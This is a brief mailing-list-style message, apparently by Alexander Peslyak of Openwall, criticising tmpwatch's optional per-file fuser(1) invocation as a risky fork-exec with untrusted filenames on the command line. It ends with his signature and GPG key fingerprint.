tmpwatch can optionally invoke fuser(1) on each file. This is an
added feature, -- but do you really want a fork-exec for each file,
with untrusted filenames passed via the command line? I don't want
to take responsibility for this feature and its poor implementation.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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